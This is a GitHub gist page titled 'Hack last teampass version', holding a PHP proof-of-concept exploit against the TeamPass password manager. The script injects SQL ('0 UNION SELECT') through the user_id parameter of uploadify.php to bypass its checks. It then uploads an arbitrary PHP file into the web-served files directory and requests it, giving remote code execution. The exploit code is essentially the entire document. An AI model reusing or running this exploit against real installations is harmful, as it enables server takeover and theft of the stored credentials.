Skip to content

Instantly share code, notes, and snippets.

@leblanc-simon
Created April 1, 2012 23:18
Show Gist options
  • Save leblanc-simon/2279362 to your computer and use it in GitHub Desktop.
Save leblanc-simon/2279362 to your computer and use it in GitHub Desktop.
Hack last teampass version
<?php
$url = 'http://localhost/teampass/';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url.'includes/libraries/uploadify/uploadify.php?key_tempo=lol&user_id='.urlencode('0 UNION SELECT \'lol\''));
curl_setopt($curl, CURLOPT_POST, true);
$post = array(
'Filedata' => '@info.php',
'type_upload' => 'import_items_from_csv',
'folder' => '/teampass/files',
);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
$response = curl_exec($curl);
echo file_get_contents($url.'files/info.php');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment